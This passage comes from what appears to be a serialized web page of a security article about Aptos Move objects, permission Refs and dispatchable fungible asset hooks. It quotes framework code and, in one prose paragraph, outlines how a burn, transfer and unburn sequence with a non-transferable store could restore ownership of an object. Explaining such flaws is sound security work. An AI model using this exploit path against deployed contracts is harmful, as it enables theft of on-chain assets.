acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[70478],{"type":24,"tag":80,"props":70479,"children":70480},{"__ignoreMap":7},[70481,70546,70607,70654,70665,70700,70720,70727,70734,70749,70756,70784],{"type":24,"tag":147,"props":70482,"children":70483},{"class":149,"line":150},[70484,70488,70492,70497,70501,70505,70509,70514,70518,70522,70526,70530,70534,70538,70542],{"type":24,"tag":147,"props":70485,"children":70486},{"style":247},[70487],{"type":29,"value":67257},{"type":24,"tag":147,"props":70489,"children":70490},{"style":247},[70491],{"type":29,"value":11832},{"type":24,"tag":147,"props":70493,"children":70494},{"style":229},[70495],{"type":29,"value":70496}," transfer_with_ref",{"type":24,"tag":147,"props":70498,"children":70499},{"style":235},[70500],{"type":29,"value":480},{"type":24,"tag":147,"props":70502,"children":70503},{"style":218},[70504],{"type":29,"value":68919},{"type":24,"tag":147,"props":70506,"children":70507},{"style":241},[70508],{"type":29,"value":978},{"type":24,"tag":147,"props":70510,"children":70511},{"style":9044},[70512],{"type":29,"value":70513}," LinearTransferRef",{"type":24,"tag":147,"props":70515,"children":70516},{"style":235},[70517],{"type":29,"value":546},{"type":24,"tag":147,"props":70519,"children":70520},{"style":247},[70521],{"type":29,"value":38328},{"type":24,"tag":147,"props":70523,"children":70524},{"style":241},[70525],{"type":29,"value":978},{"type":24,"tag":147,"props":70527,"children":70528},{"style":247},[70529],{"type":29,"value":11875},{"type":24,"tag":147,"props":70531,"children":70532},{"style":235},[70533],{"type":29,"value":564},{"type":24,"tag":147,"props":70535,"children":70536},{"style":247},[70537],{"type":29,"value":11969},{"type":24,"tag":147,"props":70539,"children":70540},{"style":9044},[70541],{"type":29,"value":69556},{"type":24,"tag":147,"props":70543,"children":70544},{"style":235},[70545],{"type":29,"value":6630},{"type":24,"tag":147,"props":70547,"children":70548},{"class":149,"line":160},[70549,70553,70557,70561,70565,70569,70574,70578,70582,70586,70590,70594,70598,70602],{"type":24,"tag":147,"props":70550,"children":70551},{"style":229},[70552],{"type":29,"value":67926},{"type":24,"tag":147,"props":70554,"children":70555},{"style":235},[70556],{"type":29,"value":480},{"type":24,"tag":147,"props":70558,"children":70559},{"style":241},[70560],{"type":29,"value":413},{"type":24,"tag":147,"props":70562,"children":70563},{"style":247},[70564],{"type":29,"value":12330},{"type":24,"tag":147,"props":70566,"children":70567},{"style":235},[70568],{"type":29,"value":3583},{"type":24,"tag":147,"props":70570,"children":70571},{"style":9044},[70572],{"type":29,"value":70573},"Untransferable",{"type":24,"tag":147,"props":70575,"children":70576},{"style":235},[70577],{"type":29,"value":13236},{"type":24,"tag":147,"props":70579,"children":70580},{"style":218},[70581],{"type":29,"value":68919},{"type":24,"tag":147,"props":70583,"children":70584},{"style":241},[70585],{"type":29,"value":87},{"type":24,"tag":147,"props":70587,"children":70588},{"style":218},[70589],{"type":29,"value":19330},{"type":24,"tag":147,"props":70591,"children":70592},{"style":235},[70593],{"type":29,"value":68515},{"type":24,"tag":147,"props":70595,"children":70596},{"style":241},[70597],{"type":29,"value":9106},{"type":24,"tag":147,"props":70599,"children":70600},{"style":229},[70601],{"type":29,"value":69401},{"type":24,"tag":147,"props":70603,"children":70604},{"style":235},[70605],{"type":29,"value":70606},"(ENOT_MOVABLE));\n",{"type":24,"tag":147,"props":70608,"children":70609},{"class":149,"line":169},[70610,70614,70618,70622,70626,70630,70634,70638,70642,70646,70650],{"type":24,"tag":147,"props":70611,"children":70612},{"style":218},[70613],{"type":29,"value":8634},{"type":24,"tag":147,"props":70615,"children":70616},{"style":247},[70617],{"type":29,"value":68076},{"type":24,"tag":147,"props":70619,"children":70620},{"style":241},[70621],{"type":29,"value":651},{"type":24,"tag":147,"props":70623,"children":70624},{"style":247},[70625],{"type":29,"value":13222},{"type":24,"tag":147,"props":70627,"children":70628},{"style":235},[70629],{"type":29,"value":3583},{"type":24,"tag":147,"props":70631,"children":70632},{"style":9044},[70633],{"type":29,"value":70050},{"type":24,"tag":147,"props":70635,"children":70636},{"style":235},[70637],{"type":29,"value":13236},{"type":24,"tag":147,"props":70639,"children":70640},{"style":218},[70641],{"type":29,"value":68919},{"type":24,"tag":147,"props":70643,"children":70644},{"style":241},[70645],{"type":29,"value":87},{"type":24,"tag":147,"props":70647,"children":70648},{"style":218},[70649],{"type":29,"value":19330},{"type":24,"tag":147,"props":70651,"children":70652},{"style":235},[70653],{"type":29,"value":1473},{"type":24,"tag":147,"props":70655,"children":70656},{"class":149,"line":178},[70657,70661],{"type":24,"tag":147,"props":70658,"children":70659},{"style":229},[70660],{"type":29,"value":67926},{"type":24,"tag":147,"props":70662,"children":70663},{"style":235},[70664],{"type":29,"value":9088},{"type":24,"tag":147,"props":70666,"children":70667},{"class":149,"line":187},[70668,70673,70677,70682,70686,70691,70695],{"type":24,"tag":147,"props":70669,"children":70670},{"style":247},[70671],{"type":29,"value":70672},"        object",{"type":24,"tag":147,"props":70674,"children":70675},{"style":241},[70676],{"type":29,"value":87},{"type":24,"tag":147,"props":70678,"children":70679},{"style":235},[70680],{"type":29,"value":70681},"owner ",{"type":24,"tag":147,"props":70683,"children":70684},{"style":241},[70685],{"type":29,"value":6600},{"type":24,"tag":147,"props":70687,"children":70688},{"style":218},[70689],{"type":29,"value":70690}," ref",{"type":24,"tag":147,"props":70692,"children":70693},{"style":241},[70694],{"type":29,"value":87},{"type":24,"tag":147,"props":70696,"children":70697},{"style":235},[70698],{"type":29,"value":70699},"owner,\n",{"type":24,"tag":147,"props":70701,"children":70702},{"class":149,"line":196},[70703,70708,70712,70716],{"type":24,"tag":147,"props":70704,"children":70705},{"style":235},[70706],{"type":29,"value":70707},"        error",{"type":24,"tag":147,"props":70709,"children":70710},{"style":241},[70711],{"type":29,"value":9106},{"type":24,"tag":147,"props":70713,"children":70714},{"style":229},[70715],{"type":29,"value":69401},{"type":24,"tag":147,"props":70717,"children":70718},{"style":235},[70719],{"type":29,"value":70084},{"type":24,"tag":147,"props":70721,"children":70722},{"class":149,"line":205},[70723],{"type":24,"tag":147,"props":70724,"children":70725},{"style":235},[70726],{"type":29,"value":49254},{"type":24,"tag":147,"props":70728,"children":70729},{"class":149,"line":214},[70730],{"type":24,"tag":147,"props":70731,"children":70732},{"style":235},[70733],{"type":29,"value":67368},{"type":24,"tag":147,"props":70735,"children":70736},{"class":149,"line":272},[70737,70741,70745],{"type":24,"tag":147,"props":70738,"children":70739},{"style":235},[70740],{"type":29,"value":68300},{"type":24,"tag":147,"props":70742,"children":70743},{"style":241},[70744],{"type":29,"value":15212},{"type":24,"tag":147,"props":70746,"children":70747},{"style":235},[70748],{"type":29,"value":17391},{"type":24,"tag":147,"props":70750,"children":70751},{"class":149,"line":281},[70752],{"type":24,"tag":147,"props":70753,"children":70754},{"style":235},[70755],{"type":29,"value":67368},{"type":24,"tag":147,"props":70757,"children":70758},{"class":149,"line":299},[70759,70763,70767,70771,70775,70780],{"type":24,"tag":147,"props":70760,"children":70761},{"style":247},[70762],{"type":29,"value":70407},{"type":24,"tag":147,"props":70764,"children":70765},{"style":241},[70766],{"type":29,"value":87},{"type":24,"tag":147,"props":70768,"children":70769},{"style":235},[70770],{"type":29,"value":70681},{"type":24,"tag":147,"props":70772,"children":70773},{"style":241},[70774],{"type":29,"value":369},{"type":24,"tag":147,"props":70776,"children":70777},{"style":247},[70778],{"type":29,"value":70779}," to",{"type":24,"tag":147,"props":70781,"children":70782},{"style":235},[70783],{"type":29,"value":432},{"type":24,"tag":147,"props":70785,"children":70786},{"class":149,"line":308},[70787],{"type":24,"tag":147,"props":70788,"children":70789},{"style":235},[70790],{"type":29,"value":827},{"type":24,"tag":25,"props":70792,"children":70793},{},[70794,70796,70801,70803,70808],{"type":29,"value":70795},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":24,"tag":80,"props":70797,"children":70799},{"className":70798},[],[70800],{"type":29,"value":69454},{"type":29,"value":70802},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":24,"tag":80,"props":70804,"children":70806},{"className":70805},[],[70807],{"type":29,"value":12772},{"type":29,"value":70809}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":24,"tag":43,"props":70811,"children":70813},{"id":70812},"references",[70814],{"type":29,"value":70815},"References",{"type":24,"tag":25,"props":70817,"children":70818},{},[70819,70824,70826,70832,70834,70839,70841,70846],{"type":24,"tag":80,"props":70820,"children":70822},{"className":70821},[],[70823],{"type":29,"value":70815},{"type":29,"value":70825}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":24,"tag":80,"props":70827,"children":70829},{"className":70828},[],[70830],{"type":29,"value":70831},"Refs",{"type":29,"value":70833}," are based on the ",{"type":24,"tag":80,"props":70835,"children":70837},{"className":70836},[],[70838],{"type":29,"value":54449},{"type":29,"value":70840}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":24,"tag":80,"props":70842,"children":70844},{"className":70843},[],[70845],{"type":29,"value":54449},{"type":29,"value":70847}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":24,"tag":25,"props":70849,"children":70850},{},[70851,70853,70858,70860,70865,70866,70872,70874,70879,70881,70886],{"type":29,"value":70852},"Let's get back to the ",{"type":24,"tag":80,"props":70854,"children":70856},{"className":70855},[],[70857],{"type":29,"value":67658},{"type":29,"value":70859}," deletion example. Both ",{"type":24,"tag":80,"props":70861,"children":70863},{"className":70862},[],[70864],{"type":29,"value":68943},{"type":29,"value":855},{"type":24,"tag":80,"props":70867,"children":70869},{"className":70868},[],[70870],{"type":29,"value":70871},"fungible_asset::remove_store",{"type":29,"value":70873}," use the same object-specific ",{"type":24,"tag":80,"props":70875,"children":70877},{"className":70876},[],[70878],{"type":29,"value":68875},{"type":29,"value":70880}," permission. It can be created only during object creation. There is no separate ",{"type":24,"tag":80,"props":70882,"children":70884},{"className":70883},[],[70885],{"type":29,"value":68875},{"type":29,"value":70887}," for fungible assets.",{"type":24,"tag":137,"props":70889,"children":70890},{"className":8614,"code":68825,"language":8613,"meta":7,"style":7},[70891],{"type":24,"tag":80,"props":70892,"children":70893},{"__ignoreMap":7},[70894,70901,70940,70947,70954],{"type":24,"tag":147,"props":70895,"children":70896},{"class":149,"line":150},[70897],{"type":24,"tag":147,"props":70898,"children":70899},{"style":154},[70900],{"type":29,"value":68837},{"type":24,"tag":147,"props":70902,"children":70903},{"class":149,"line":160},[70904,70908,70912,70916,70920,70924,70928,70932,70936],{"type":24,"tag":147,"props":70905,"children":70906},{"style":247},[70907],{"type":29,"value":67257},{"type":24,"tag":147,"props":70909,"children":70910},{"style":247},[70911],{"type":29,"value":11832},{"type":24,"tag":147,"props":70913,"children":70914},{"style":229},[70915],{"type":29,"value":68853},{"type":24,"tag":147,"props":70917,"children":70918},{"style":235},[70919],{"type":29,"value":480},{"type":24,"tag":147,"props":70921,"children":70922},{"style":247},[70923],{"type":29,"value":68862},{"type":24,"tag":147,"props":70925,"children":70926},{"style":241},[70927],{"type":29,"value":978},{"type":24,"tag":147,"props":70929,"children":70930},{"style":241},[70931],{"type":29,"value":12767},{"type":24,"tag":147,"props":70933,"children":70934},{"style":9044},[70935],{"type":29,"value":68875},{"type":24,"tag":147,"props":70937,"children":70938},{"style":235},[70939],{"type":29,"value":269},{"type":24,"tag":147,"props":70941,"children":70942},{"class":149,"line":169},[70943],{"type":24,"tag":147,"props":70944,"children":70945},{"emptyLinePlaceholder":16},[70946],{"type":29,"value":314},{"type":24,"tag":147,"props":70948,"children":70949},{"class":149,"line":178},[70950],{"type":24,"tag":147,"props":70951,"children":70952},{"style":154},[70953],{"type":29,"value":68894},{"type":24,"tag":147,"props":70955,"children":70956},{"class":149,"line":187},[70957,70961,70965,70969,70973,70977,70981,70985],{"type":24,"tag":147,"props":70958,"children":70959},{"style":247},[70960],{"type":29,"value":67257},{"type":24,"tag":147,"props":70962,"children":70963},{"style":247},[70964],{"type":29,"value":11832},{"type":24,"tag":147,"props":70966,"children":70967},{"style":229},[70968],{"type":29,"value":68910},{"type":24,"tag":147,"props":70970,"children":70971},{"style":235},[70972],{"type":29,"value":480},{"type":24,"tag":147,"props":70974,"children":70975},{"style":218},[70976],{"type":29,"value":68919},{"type":24,"tag":147,"props":70978,"children":70979},{"style":241},[70980],{"type":29,"value":978},{"type":24,"tag":147,"props":70982,"children":70983},{"style":9044},[70984],{"type":29,"value":68928},{"type":24,"tag":147,"props":70986,"children":70987},{"style":235},[70988],{"type":29,"value":269},{"type":24,"tag":25,"props":70990,"children":70991},{},[70992,70994,70999,71001,71007],{"type":29,"value":70993},"On the other hand, the \"frozen\" status of a ",{"type":24,"tag":80,"props":70995,"children":70997},{"className":70996},[],[70998],{"type":29,"value":67658},{"type":29,"value":71000}," is toggled using a ",{"type":24,"tag":80,"props":71002,"children":71004},{"className":71003},[],[71005],{"type":29,"value":71006},"TransferRef",{"type":29,"value":71008},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":24,"tag":137,"props":71010,"children":71012},{"className":8614,"code":71011,"language":8613,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[71013],{"type":24,"tag":80,"props":71014,"children":71015},{"__ignoreMap":7},[71016,71052,71076,71103,71122],{"type":24,"tag":147,"props":71017,"children":71018},{"class":149,"line":150},[71019,71023,71027,71032,71036,71040,71044,71048],{"type":24,"tag":147,"props":71020,"children":71021},{"style":247},[71022],{"type":29,"value":67257},{"type":24,"tag":147,"props":71024,"children":71025},{"style":247},[71026],{"type":29,"value":11832},{"type":24,"tag":147,"props":71028,"children":71029},{"style":247},[71030],{"type":29,"value":71031}," set_frozen_flag",{"type":24,"tag":147,"props":71033,"children":71034},{"style":235},[71035],{"type":29,"value":3583},{"type":24,"tag":147,"props":71037,"children":71038},{"style":9044},[71039],{"type":29,"value":11612},{"type":24,"tag":147,"props":71041,"children":71042},{"style":241},[71043],{"type":29,"value":978},{"type":24,"tag":147,"props":71045,"children":71046},{"style":247},[71047],{"type":29,"value":11556},{"type":24,"tag":147,"props":71049,"children":71050},{"style":235},[71051],{"type":29,"value":12214},{"type":24,"tag":147,"props":71053,"children":71054},{"class":149,"line":160},[71055,71060,71064,71068,71072],{"type":24,"tag":147,"props":71056,"children":71057},{"style":218},[71058],{"type":29,"value":71059},"    ref",{"type":24,"tag":147,"props":71061,"children":71062},{"style":241},[71063],{"type":29,"value":978},{"type":24,"tag":147,"props":71065,"children":71066},{"style":241},[71067],{"type":29,"value":12767},{"type":24,"tag":147,"props":71069,"children":71070},{"style":9044},[71071],{"type":29,"value":71006},{"type":24,"tag":147,"props":71073,"children":71074},{"style":235},[71075],{"type":29,"value":1549},{"type":24,"tag":147,"props":71077,"children":71078},{"class":149,"line":169},[71079,71083,71087,71091,71095,71099],{"type":24,"tag":147,"props":71080,"children":71081},{"style":247},[71082],{"type":29,"value":35015},{"type":24,"tag":147,"props":71084,"children":71085},{"style":241},[71086],{"type":29,"value":978},{"type":24,"tag":147,"props":71088,"children":71089},{"style":9044},[71090],{"type":29,"value":67143},{"type":24,"tag":147,"props":71092,"children":71093},{"style":235},[71094],{"type":29,"value":3583},{"type":24,"tag":147,"props":71096,"children":71097},{"style":9044},[71098],{"type":29,"value":11612},{"type":24,"tag":147,"props":71100,"children":71101},{"style":235},[71102],{"type":29,"value":11763},{"type":24,"tag":147,"props":71104,"children":71105},{"class":149,"line":178},[71106,71110,71114,71118],{"type":24,"tag":147,"props":71107,"children":71108},{"style":247},[71109],{"type":29,"value":66795},{"type":24,"tag":147,"props":71111,"children":71112},{"style":241},[71113],{"type":29,"value":978},{"type":24,"tag":147,"props":71115,"children":71116},{"style":9044},[71117],{"type":29,"value":17669},{"type":24,"tag":147,"props":71119,"children":71120},{"style":235},[71121],{"type":29,"value":1549},{"type":24,"tag":147,"props":71123,"children":71124},{"class":149,"line":187},[71125],{"type":24,"tag":147,"props":71126,"children":71127},{"style":235},[71128],{"type":29,"value":269},{"type":24,"tag":25,"props":71130,"children":71131},{},[71132,71133,71138,71139,71144],{"type":29,"value":5094},{"type":24,"tag":80,"props":71134,"children":71136},{"className":71135},[],[71137],{"type":29,"value":54449},{"type":29,"value":12083},{"type":24,"tag":80,"props":71140,"children":71142},{"className":71141},[],[71143],{"type":29,"value":71006},{"type":29,"value":71145}," is used to transfer object ownership:",{"type":24,"tag":137,"props":71147,"children":71149},{"className":8614,"code":71148,"language":8613,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[71150],{"type":24,"tag":80,"props":71151,"children":71152},{"__ignoreMap":7},[71153,71161,71194,71213],{"type":24,"tag":147,"props":71154,"children":71155},{"class":149,"line":150},[71156],{"type":24,"tag":147,"props":71157,"children":71158},{"style":154},[71159],{"type":29,"value":71160},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":24,"tag":147,"props":71162,"children":71163},{"class":149,"line":160},[71164,71168,71173,71177,71182,71186,71190],{"type":24,"tag":147,"props":71165,"children":71166},{"style":218},[71167],{"type":29,"value":993},{"type":24,"tag":147,"props":71169,"children":71170},{"style":9044},[71171],{"type":29,"value":71172}," TransferRef",{"type":24,"tag":147,"props":71174,"children":71175},{"style":247},[71176],{"type":29,"value":15031},{"type":24,"tag":147,"props":71178,"children":71179},{"style":247},[71180],{"type":29,"value":71181}," drop",{"type":24,"tag":147,"props":71183,"children":71184},{"style":235},[71185],{"type":29,"value":546},{"type":24,"tag":147,"props":71187,"children":71188},{"style":247},[71189],{"type":29,"value":11565},{"type":24,"tag":147,"props":71191,"children":71192},{"style":235},[71193],{"type":29,"value":6630},{"type":24,"tag":147,"props":71195,"children":71196},{"class":149,"line":169},[71197,71201,71205,71209],{"type":24,"tag":147,"props":71198,"children":71199},{"style":218},[71200],{"type":29,"value":26388},{"type":24,"tag":147,"props":71202,"children":71203},{"style":241},[71204],{"type":29,"value":978},{"type":24,"tag":147,"props":71206,"children":71207},{"style":247},[71208],{"type":29,"value":11875},{"type":24,"tag":147,"props":71210,"children":71211},{"style":235},[71212],{"type":29,"value":1549},{"type":24,"tag":147,"props":71214,"children":71215},{"class":149,"line":178},[71216],{"type":24,"tag":147,"props":71217,"children":71218},{"style":235},[71219],{"type":29,"value":827},{"type":24,"tag":25,"props":71221,"children":71222},{},[71223,71225,71230],{"type":29,"value":71224},"While the fungible asset's ",{"type":24,"tag":80,"props":71226,"children":71228},{"className":71227},[],[71229],{"type":29,"value":71006},{"type":29,"value":71231}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":24,"tag":137,"props":71233,"children":71235},{"className":8614,"code":71234,"language":8613,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[71236],{"type":24,"tag":80,"props":71237,"children":71238},{"__ignoreMap":7},[71239,71247,71255,71286,71313],{"type":24,"tag":147,"props":71240,"children":71241},{"class":149,"line":150},[71242],{"type":24,"tag":147,"props":71243,"children":71244},{"style":154},[71245],{"type":29,"value":71246},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":24,"tag":147,"props":71248,"children":71249},{"class":149,"line":160},[71250],{"type":24,"tag":147,"props":71251,"children":71252},{"style":154},[71253],{"type":29,"value":71254},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":24,"tag":147,"props":71256,"children":71257},{"class":149,"line":169},[71258,71262,71266,71270,71274,71278,71282],{"type":24,"tag":147,"props":71259,"children":71260},{"style":218},[71261],{"type":29,"value":993},{"type":24,"tag":147,"props":71263,"children":71264},{"style":9044},[71265],{"type":29,"value":71172},{"type":24,"tag":147,"props":71267,"children":71268},{"style":247},[71269],{"type":29,"value":15031},{"type":24,"tag":147,"props":71271,"children":71272},{"style":247},[71273],{"type":29,"value":71181},{"type":24,"tag":147,"props":71275,"children":71276},{"style":235},[71277],{"type":29,"value":546},{"type":24,"tag":147,"props":71279,"children":71280},{"style":247},[71281],{"type":29,"value":11565},{"type":24,"tag":147,"props":71283,"children":71284},{"style":235},[71285],{"type":29,"value":6630},{"type":24,"tag":147,"props":71287,"children":71288},{"class":149,"line":178},[71289,71293,71297,71301,71305,71309],{"type":24,"tag":147,"props":71290,"children":71291},{"style":247},[71292],{"type":29,"value":67134},{"type":24,"tag":147,"props":71294,"children":71295},{"style":241},[71296],{"type":29,"value":978},{"type":24,"tag":147,"props":71298,"children":71299},{"style":9044},[71300],{"type":29,"value":67143},{"type":24,"tag":147,"props":71302,"children":71303},{"style":235},[71304],{"type":29,"value":3583},{"type":24,"tag":147,"props":71306,"children":71307},{"style":9044},[71308],{"type":29,"value":67152},{"type":24,"tag":147,"props":71310,"children":71311},{"style":235},[71312],{"type":29,"value":11617},{"type":24,"tag":147,"props":71314,"children":71315},{"class":149,"line":187},[71316],{"type":24,"tag":147,"props":71317,"children":71318},{"style":235},[71319],{"type":29,"value":827},{"type":24,"tag":25,"props":71321,"children":71322},{},[71323,71325,71331,71333,71339],{"type":29,"value":71324},"Additionally, there are fungible asset-specific references such as ",{"type":24,"tag":80,"props":71326,"children":71328},{"className":71327},[],[71329],{"type":29,"value":71330},"MintRef",{"type":29,"value":71332}," for minting and ",{"type":24,"tag":80,"props":71334,"children":71336},{"className":71335},[],[71337],{"type":29,"value":71338},"BurnRef",{"type":29,"value":71340}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":24,"tag":32,"props":71342,"children":71344},{"id":71343},"dispatchable-fungible-assets",[71345],{"type":29,"value":71346},"Dispatchable fungible assets",{"type":24,"tag":25,"props":71348,"children":71349},{},[71350],{"type":29,"value":71351},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":24,"tag":25,"props":71353,"children":71354},{},[71355],{"type":29,"value":71356},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":24,"tag":71358,"props":71359,"children":71360},"warning",{},[71361],{"type":24,"tag":25,"props":71362,"children":71363},{},[71364,71366,71372],{"type":29,"value":71365},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":24,"tag":80,"props":71367,"children":71369},{"className":71368},[],[71370],{"type":29,"value":71371},"transfer_assert_minimum_deposit",{"type":29,"value":71373}," that can help mitigate such risks.",{"type":24,"tag":25,"props":71375,"children":71376},{},[71377,71379,71384,71386,71393],{"type":29,"value":71378},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":24,"tag":80,"props":71380,"children":71382},{"className":71381},[],[71383],{"type":29,"value":67257},{"type":29,"value":71385}," to ensure ",{"type":24,"tag":2773,"props":71387,"children":71390},{"href":71388,"rel":71389},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[2777],[71391],{"type":29,"value":71392},"their signature remains immutable",{"type":29,"value":71394},". An example implementation might look like this:",{"type":24,"tag":137,"props":71396,"children":71398},{"className":8614,"code":71397,"language":8613,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[71399],{"type":24,"tag":80,"props":71400,"children":71401},{"__ignoreMap":7},[71402,71438,71465,71484,71508,71527,71535,71581,71588,71595,71631,71658,71678,71701,71708,71715,71759],{"type":24,"tag":147,"props":71403,"children":71404},{"class":149,"line":150},[71405,71409,71413,71418,71422,71426,71430,71434],{"type":24,"tag":147,"props":71406,"children":71407},{"style":247},[71408],{"type":29,"value":67257},{"type":24,"tag":147,"props":71410,"children":71411},{"style":247},[71412],{"type":29,"value":11832},{"type":24,"tag":147,"props":71414,"children":71415},{"style":247},[71416],{"type":29,"value":71417}," withdraw_hook",{"type":24,"tag":147,"props":71419,"children":71420},{"style":235},[71421],{"type":29,"value":3583},{"type":24,"tag":147,"props":71423,"children":71424},{"style":9044},[71425],{"type":29,"value":11612},{"type":24,"tag":147,"props":71427,"children":71428},{"style":241},[71429],{"type":29,"value":978},{"type":24,"tag":147,"props":71431,"children":71432},{"style":247},[71433],{"type":29,"value":11556},{"type":24,"tag":147,"props":71435,"children":71436},{"style":235},[71437],{"type":29,"value":12214},{"type":24,"tag":147,"props":71439,"children":71440},{"class":149,"line":160},[71441,71445,71449,71453,71457,71461],{"type":24,"tag":147,"props":71442,"children":71443},{"style":247},[71444],{"type":29,"value":35015},{"type":24,"tag":147,"props":71446,"children":71447},{"style":241},[71448],{"type":29,"value":978},{"type":24,"tag":147,"props":71450,"children":71451},{"style":9044},[71452],{"type":29,"value":67143},{"type":24,"tag":147,"props":71454,"children":71455},{"style":235},[71456],{"type":29,"value":3583},{"type":24,"tag":147,"props":71458,"children":71459},{"style":9044},[71460],{"type":29,"value":11612},{"type":24,"tag":147,"props":71462,"children":71463},{"style":235},[71464],{"type":29,"value":11763},{"type":24,"tag":147,"props":71466,"children":71467},{"class":149,"line":169},[71468,71472,71476,71480],{"type":24,"tag":147,"props":71469,"children":71470},{"style":247},[71471],{"type":29,"value":67164},{"type":24,"tag":147,"props":71473,"children":71474},{"style":241},[71475],{"type":29,"value":978},{"type":24,"tag":147,"props":71477,"children":71478},{"style":9044},[71479],{"type":29,"value":11484},{"type":24,"tag":147,"props":71481,"children":71482},{"style":235},[71483],{"type":29,"value":1549},{"type":24,"tag":147,"props":71485,"children":71486},{"class":149,"line":178},[71487,71492,71496,71500,71504],{"type":24,"tag":147,"props":71488,"children":71489},{"style":247},[71490],{"type":29,"value":71491},"    transfer_ref",{"type":24,"tag":147,"props":71493,"children":71494},{"style":241},[71495],{"type":29,"value":978},{"type":24,"tag":147,"props":71497,"children":71498},{"style":241},[71499],{"type":29,"value":12767},{"type":24,"tag":147,"props":71501,"children":71502},{"style":9044},[71503],{"type":29,"value":71006},{"type":24,"tag":147,"props":71505,"children":71506},{"style":235},[71507],{"type":29,"value":1549},{"type":24,"tag":147,"props":71509,"children":71510},{"class":149,"line":187},[71511,71515,71519,71523],{"type":24,"tag":147,"props":71512,"children":71513},{"style":235},[71514],{"type":29,"value":8758},{"type":24,"tag":147,"props":71516,"children":71517},{"style":241},[71518],{"type":29,"value":978},{"type":24,"tag":147,"props":71520,"children":71521},{"style":9044},[71522],{"type":29,"value":67122},{"type":24,"tag":147,"props":71524,"children":71525},{"style":235},[71526],{"type":29,"value":6630},{"type":24,"tag":147,"props":71528,"children":71529},{"class":149,"line":196},[71530],{"type":24,"tag":147,"props":71531,"children":71532},{"style":154},[71533],{"type":29,"value":71534},"    //check paused, gather fees etc.\n",{"type":24,"tag":147,"props":71536,"children":71537},{"class":149,"line":205},[71538,71543,71547,71552,71556,71561,71565,71569,71573,71577],{"type":24,"tag":147,"props":71539,"children":71540},{"style":235},[71541],{"type":29,"value":71542},"    fungible_asset",{"type":24,"tag":147,"props":71544,"children":71545},{"style":241},[71546],{"type":29,"value":9106},{"type":24,"tag":147,"props":71548,"children":71549},{"style":229},[71550],{"type":29,"value":71551},"withdraw_with_ref",{"type":24,"tag":147,"props":71553,"children":71554},{"style":235},[71555],{"type":29,"value":480},{"type":24,"tag":147,"props":71557,"children":71558},{"style":247},[71559],{"type":29,"value":71560},"transfer_ref",{"type":24,"tag":147,"props":71562,"children":71563},{"style":235},[71564],{"type":29,"value":546},{"type":24,"tag":147,"props":71566,"children":71567},{"style":247},[71568],{"type":29,"value":11565},{"type":24,"tag":147,"props":71570,"children":71571},{"style":235},[71572],{"type":29,"value":546},{"type":24,"tag":147,"props":71574,"children":71575},{"style":247},[71576],{"type":29,"value":25910},{"type":24,"tag":147,"props":71578,"children":71579},{"style":235},[71580],{"type":29,"value":269},{"type":24,"tag":147,"props":71582,"children":71583},{"class":149,"line":214},[71584],{"type":24,"tag":147,"props":71585,"children":71586},{"style":235},[71587],{"type":29,"value":827},{"type":24,"tag":147,"props":71589,"children":71590},{"class":149,"line":272},[71591],{"type":24,"tag":147,"props":71592,"children":71593},{"emptyLinePlaceholder":16},[71594],{"type":29,"value":314},{"type":24,"tag":147,"props":71596,"children":71597},{"class":149,"line":281},[71598,71602,71606,71611,71615,71619,71623,71627],{"type":24,"tag":147,"props":71599,"children":71600},{"style":247},[71601],{"type":29,"value":67257},{"type":24,"tag":147,"props":71603,"children":71604},{"style":247},[71605],{"type":29,"value":11832},{"type":24,"tag":147,"props":71607,"children":71608},{"style":247},[71609],{"type":29,"value":71610}," 